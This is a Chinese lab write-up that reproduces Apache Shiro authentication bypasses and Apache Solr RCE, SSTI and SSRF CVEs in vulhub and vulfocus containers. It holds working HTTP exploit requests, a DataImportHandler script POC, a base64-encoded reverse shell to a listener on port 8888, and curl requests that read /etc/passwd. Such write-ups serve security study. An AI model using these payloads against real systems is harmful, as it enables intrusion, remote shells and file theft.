框架安全-CVE 复现Apache ShiroApache Solr漏洞复现

news2024/11/23 10:42:13

文章目录

  • 服务攻防-框架安全&CVE 复现&Apache Shiro&Apache Solr漏洞复现
    • 中间件列表
    • 常见开发框架
    • Apache Shiro-组件框架安全
      • 暴露的安全问题
      • 漏洞复现
        • Apache Shiro认证绕过漏洞(CVE-2020-1957)
        • CVE-2020-11989验证绕过漏洞
        • CVE_2016_4437 Shiro-550 && CVE-2019-12422 Shiro-721 漏洞复现
    • Apache Solr-组件框架安全
      • 披露的安全问题
      • 漏洞复现
        • Apache Solr 远程命令执行漏洞(CVE-2017-12629)
        • 任意文件读取&&命令执行(CVE-2019-17558)
        • 远程命令执行漏洞(CVE-2019-0193)
        • Solr 任意文件读取&& SSRF (CVE-2021-27905)

服务攻防-框架安全&CVE 复现&Apache Shiro&Apache Solr漏洞复现

中间件列表

中间件及框架列表:

IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等

常见开发框架

1、开发框架-PHP-Laravel-Thinkphp

2、开发框架-Javaweb-St2-Spring

3、开发框架-Python-django-Flask

4、开发框架-Javascript-Node.js-JQuery

5、其他框架-Java-Apache Shiro&Apache Sorl

常见语言开发框架:

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend 等

JAVA:Spring MyBatis Hibernate Struts2 Springboot 等

Python:Django Flask Bottle Turbobars Tornado Web2py 等

Javascript:Vue.js Node.js Bootstrap JQuery Angular 等

Apache Shiro-组件框架安全

详解:shiro(java安全框架)

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

暴露的安全问题

Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞[CVE-2016-4483]

Apache Shiro < 1.3.2 验证绕过漏洞[CVE-2016-2807]

Apache Shiro < 1.4.2 cookie oracle padding 漏洞 [CVE-2019-12442]

Apache Shiro < 1.5.2 验证绕过漏洞 [CVE-2020-1957]

Apache Shiro < 1.5.3 验证绕过漏洞 [CVE-2020-11989]

Apahce Shiro < 1.6.0 验证绕过漏洞 [CVE-2020-13933]

Apahce Shiro < 1.7.1 权限绕过漏洞 [CVE-2020-17523]

漏洞复现

Apache Shiro认证绕过漏洞(CVE-2020-1957)

Apache Shiro 是一个功能强大且易于使用的 Java 安全框架,可执行身份验证、授权、加密和会话管理。

在 1.5.2 之前的带有 Spring 动态控制器的 Apache Shiro 版本中,攻击者可以使用来构建恶意构建的请求,从而绕过目录身份验证。..;

影响范围:Apache Shiro < 1.5.3

靶场:vulhub

参考:Apache Shiro认证绕过漏洞(CVE-2020-1957)复现

image-20231101192439122

开启环境:

image-20231101192502205

访问web界面:

image-20231101192959610

对管理页面的直接请求是不可访问的,将被重定向到登录页面。/admin/

image-20231101193234327

构建恶意请求以绕过身份验证检查并访问管理页面。

payload:/xxx/..;/admin/

http://you-ip:8080/xxx/..;/admin/

image-20231101193955747

CVE-2020-11989验证绕过漏洞

将Apache Shiro与Spring控制器一起使用时,特制请求可能会导致身份验证绕过。

靶场:vulfocus

开启环境:

image-20231101194544417

访问web界面:

image-20231101194608571

Poc:/admin/%20

影响范围:Apache Shiro < 1.7.1

环境可能存在问题,没能跳转绕过。可使用github上的项目进行测试。

项目地址:shiro-cve-2020-17523

下载完成过后构建即可。具体可参考说明文档。

CVE_2016_4437 Shiro-550 && CVE-2019-12422 Shiro-721 漏洞复现

漏洞原理以及复现过程:

shiro反序列化漏洞Shiro-550/Shiro-721反序列化

Apache Solr-组件框架安全

详解:Solr详解

Apache Solr 是一个开源的搜索服务,使用 Java 语言开发,主要基于 HTTP 和
Apache Lucene 实现的。Solr 是一个高性能,采用 Java5 开发,基于 Lucene 的全
文搜索服务器。

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

披露的安全问题

远程命令执行 RCE(CVE-2017-12629)

远程命令执行 XXE(CVE-2017-12629)

任意文件读取 AND 命令执行(CVE-2019-17558)

远程命令执行漏洞(CVE-2019-0192)

远程命令执行漏洞(CVE-2019-0193)

未授权上传漏洞(CVE-2020-13957)

Apache Solr SSRF (CVE-2021-27905)

漏洞复现

Apache Solr 远程命令执行漏洞(CVE-2017-12629)

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。

此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。

环境:vulhub

参考:CVE-2017-12629-RCE复现

开启环境:

image-20231101222834141

访问web界面:

image-20231101222819143

利用:

首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数:

//数据包内容:
POST /solr/demo/config HTTP/1.1
Host: 192.168.100.134:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Connection: close
Content-Length: 161

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/rumilc.txt"]}}

image-20231101232327085

然后进行update操作,触发刚才添加的listener:

//数据包内容:
POST /solr/demo/update HTTP/1.1
Host: 192.168.100.134:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

image-20231101232347574

验证:

docker ps 查看容器id
docker exec -it 容器id bash

成功创建

image-20231101232438036

可将命令换成反弹shell命令,进行反弹shell,逻辑思路不变,命令需要进行base64编码。

任意文件读取&&命令执行(CVE-2019-17558)

Solr 是基于 Apache Lucene(TM) 构建的流行、超快的开源企业搜索平台。

Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。

靶场:vulfocus

开启环境:

image-20231101233449597

访问web界面:

image-20231101233656994

手工复现参考:通过 Velocity 自定义模板的 Apache Solr 远程代码执行

脚本工具:EXP地址

脚本一步到位,命令执行:

python2 solr_rce.py http://192.168.100.134:14226 id

image-20231101233813184

python2 solr_rce.py http://192.168.100.134:14226 whoami

image-20231101233907600

读取/查看文件:

python2 solr_rce.py http://192.168.100.134:14226 "cat /etc/passwd"

image-20231101234511512

远程命令执行漏洞(CVE-2019-0193)

Apache Solr < 8.2.0 版本

Apache Solr 是一个开源的搜索服务器。 Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。 此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。 它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。 由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

靶场:vulhub

参考:Apache Solr 远程命令执行漏洞(CVE-2019-0193)复现

image-20231102001304699

开启环境:

image-20231102011348963

访问web界面:

image-20231102011410713

刚上来需要进行登录,需要登录之后的状态才可以。

执行命令:
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

命令执行成功后,需要等待一会,之后访问即可查看到Apache solr的管理页面,无需登录。

image-20231102011626162

接下来,首先打开刚刚创建好的核心,选择Dataimport功能并选择debug模式:

image-20231102011813500

填入以下POC:test

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/rumilc.txt");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

点击Execute with this Confuguration执行

image-20231102011901380

执行过后,等待一下:

image-20231102012208751

验证:

docker ps
docker exec -it 容器id bash

成功创建

image-20231102012058165

可将命令换成反弹shell命令,需要进行base64编码,尝试反弹:

sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
编码后:
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

POC:

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

监听端开启监听

nc -lvvp 8888

执行过后,稍等一下:

image-20231102012636840

image-20231102012853004

成功反弹shell:

image-20231102012606940

Solr 任意文件读取&& SSRF (CVE-2021-27905)

Apache Solr 是一个开源搜索服务器。该漏洞是由于没有对输入的内容进行校验,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SSRF攻击,最终造成任意读取服务器上的文件。当 Apache Solr 不启用身份验证时,攻击者可以直接构建请求以启用特定配置,并最终导致 SSRF 或任意文件读取。

靶场:vulhub

参考:Apache Solr RemoteStreaming 任意文件读取和 SSRF

开启环境:

image-20231102004831363

访问web界面:

image-20231102004915771

利用:

//首先,访问提取数据库名称:
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

image-20231102004945140

发送如下请求,修改数据库配置启用:demo RemoteStreaming

//数据包如下:
POST /solr/demo/config HTTP/1.1
Host: 192.168.100.134:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 80

{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

发送数据包:

image-20231102010042883

然后通过以下方式读取任意文件:stream.url

//curl -i -s -k 'http://your-ip:8983/solr/demo/debug/dump param=ContentStreams&stream.url=file:///etc/passwd'

curl -i -s -k "http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd"

成功读取:

image-20231102010302668

image-20231102010217678

查看组信息:

curl -i -s -k "http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/group"

image-20231102010425588


其他开发框架安全问题以及漏洞复现可参考:
框架安全-CVE 复现&Spring&Struts&Laravel&ThinkPHP漏洞复现
框架安全-CVE 漏洞复现&Django&Flask&Node.js&JQuery框架漏洞复现

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1165020.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JS动态转盘可手动设置份数与概率(详细介绍)

这个案例是我老师布置的一项作业&#xff0c;老师已详细讲解&#xff0c;本人分享给大家&#xff0c;详细为你们介绍如何实现。 我们转盘使用线段来实现 <!DOCTYPE html> <html> <head><meta charset"utf-8"><title></title>&l…

2023云栖大会:揭示未来科技的璀璨星辰

翻开科技世界的崭新篇章&#xff0c;2023年的云栖大会将在星光璀璨的杭州盛大开启。这一盛会&#xff0c;是科技创新的聚集地&#xff0c;也是前沿科技展示的殿堂。每年&#xff0c;无数优秀的科技人才和业内精英汇聚于此&#xff0c;共同探讨科技的未来趋势和人类发展的无限可…

编写shell脚本,利用mysqldump实现MySQL数据库分库分表备份

查看数据和数据表 mysql -uroot -p123456 -e show databases mysql -uroot -p123456 -e show tables from cb_d 删除头部Database和数据库自带的表 mysql -uroot -p123456 -e show databases -N | egrep -v "information_schema|mysql|performance_schema|sys"编写…

【Java 进阶篇】Java ServletContext详解:在Web应用中获取全局信息

在Java Web开发中&#xff0c;ServletContext是一个重要的概念&#xff0c;它允许我们在整个Web应用程序中共享信息和资源。本篇博客将深入探讨ServletContext的作用、如何获取它&#xff0c;以及如何在Web应用中使用它。无论您是刚刚入门的小白还是有一定经验的开发者&#xf…

QML WebEngineView 调用 JavaScript

作者: 一去、二三里 个人微信号: iwaleon 微信公众号: 高效程序员 在 QML 与 Web 混合开发时,除了使用 WebEngineView 加载网页之外,我们还可以在 QML 层运行 JavaScript 代码,这样就能更灵活地操作浏览器窗口和网页内容,从而实现丰富的交互功能了。例如:获取网页标题、…

【JavaEE初阶】 初识网络原理

文章目录 &#x1f332;网络发展史&#x1f6a9;独立模式&#x1f6a9;网络互连&#x1f4cc;局域网LAN&#x1f388;基于网线直连&#x1f388;基于集线器组建&#x1f388;基于交换机组建&#x1f388;基于交换机和路由器组建 &#x1f4cc;广域网WAN &#x1f340;网络通信基…

人工智能与脑机接口:开启人机融合的新时代

人工智能与脑机接口&#xff1a;开启人机融合的新时代 随着人工智能&#xff08;AI&#xff09;技术的飞速发展&#xff0c;我们正与一个全新的时代相遇——人工智能与脑机接口相融合的时代。这个时代将带来前所未有的变革&#xff0c;让人类与机器的交互方式发生根本性的改变。…

洒洒水阿萨阿萨

1. 多表查询 多表查询(也叫关联查询, 联结查询): 可以用于检索涉及到多个表的数据. 使用关联查询, 可以将两张或多张表中的数据通过某种关系联系在一起, 从而生成需要的结果集.前提条件: 这些一起查询的表之间它们之间一定是有关联关系.# 先熟悉一下三张表: -- 1. 员工表(11个…

微信小程序快速备案的通道揭秘方法

随着国家政策的调整&#xff0c;微信小程序备案已变得刻不容缓。传统备案路径较为繁琐&#xff0c;耗时较长&#xff0c;为解决此痛点&#xff0c;今天我们将揭示一个快速备案的新通道。 步骤1&#xff1a;探索智慧助手 打开微信&#xff0c;探索“智慧商家服务助手”公众号。…

阿里云OS系统Alibaba Cloud Linux 3系统的安全更新命令

给客户部署的服务&#xff0c;进入运维阶段&#xff0c;但是经常被客户监测到服务器漏洞&#xff0c;现在整理一下&#xff0c;服务器漏洞问题更新命令步骤。 服务器系统&#xff1a; 阿里云linux服务器&#xff1a;Alibaba Cloud Linux 3 漏洞类型和描述&#xff1a; #3214…

[ASP]校无忧在线考试系统 v3.7

校无忧在线考试系统采用互联网技术,快速搭建在线考试系统平台,全面实现了考试工作的网络化、无纸化、自动化。系统操作简单,题型丰富,广泛用于企事业单位,学校教育培训机构等在线考试,网络考试,在线考核…… 系统主要功能&#xff1a; 1、设置基本考试系统信息(开通/关闭考试等…

听GPT 讲Rust源代码--library/std(12)

题图来自 Decoding Rust: Everything You Need to Know About the Programming Language[1] File: rust/library/std/src/os/watchos/mod.rs 该文件&#xff08;rust/library/std/src/os/watchos/mod.rs&#xff09;的作用是为Rust标准库提供支持WatchOS操作系统的特定功能。 W…

【JVM经典面试题(五十二道)】

文章目录 JVM经典面试题&#xff08;五十二道&#xff09;引言1.什么是JVM 内存管理2.能说一下JVM的内存区域吗&#xff1f;3.说一下JDK1.6、1.7、1.8内存区域的变化&#xff1f;4.为什么使用元空间替代永久代作为方法区的实现&#xff1f;5.对象创建的过程了解吗&#xff1f;6…

这两天公司面了一个字节来的要求月薪23K,明显感觉他背了很多面试题...

最近有朋友去字节面试&#xff0c;面试前后进行了20天左右&#xff0c;包含4轮电话面试、1轮笔试、1轮主管视频面试、1轮hr视频面试。 据他所说&#xff0c;80%的人都会栽在第一轮面试&#xff0c;要不是他面试前做足准备&#xff0c;估计都坚持不完后面几轮面试。 其实&…

k8s-服务网格实战-入门Istio

istio-01.png 背景 终于进入大家都比较感兴趣的服务网格系列了&#xff0c;在前面已经讲解了&#xff1a; 如何部署应用到 kubernetes服务之间如何调用如何通过域名访问我们的服务如何使用 kubernetes 自带的配置 ConfigMap 基本上已经够我们开发一般规模的 web 应用了&#xf…

【克隆方法+深浅拷贝】

文章目录 前言Clonable 接口克隆方法代码的实现 浅拷贝深拷贝总结 前言 Clonable 接口 克隆方法代码的实现 //1.当类要调用克隆方法时&#xff0c;这个类要实现一个Cloneable接口 class Student implements Cloneable{public String name;public int age;public Student(Str…

软件测试/测试开发丨ChatGPT能否成为PPT最佳伴侣

点此获取更多相关资料 简介 PPT 已经渗透到我们的日常工作中&#xff0c;无论是工作汇报、商务报告、学术演讲、培训材料都常常要求编写一个正式的 PPT&#xff0c;协助完成一次汇报或一次演讲。PPT相比于传统文本的就是有布局、图片、动画效果等&#xff0c;可以给到观众更好…

使用IDEA生成JavaDoc文档(IDEA2023)

1、Tool-->Generate JavaDoc 2、配置生成JavaDoc文档 1、选择生成范围&#xff0c;可以根据需要选择单独一个文件或者包&#xff0c;也可以是整个项目 2、输出目录&#xff0c;要把JavaDoc文档生成在哪个文件中&#xff0c;最好新建一个文件夹结束 3、Local&#xff1a;…

云计算的思想、突破、产业实践

文章目录 &#x1f4d5;我是廖志伟&#xff0c;一名Java开发工程师、Java领域优质创作者、CSDN博客专家、51CTO专家博主、阿里云专家博主、清华大学出版社签约作者、产品软文创造者、技术文章评审老师、问卷调查设计师、个人社区创始人、开源项目贡献者。&#x1f30e;跑过十五…

解决爬虫在重定向(Redirect)情况下,URL没有变化的方法

重定向是一种网络服务&#xff0c;它可以实现从一个网页跳转到另一个网页的功能。它把用户请求的网页重定向到一个新的位置&#xff0c;而这个位置可以是更新的网页&#xff0c;或最初请求的网页的不同版本。另外&#xff0c;它还可以用来改变用户流量&#xff0c;当用户请求某…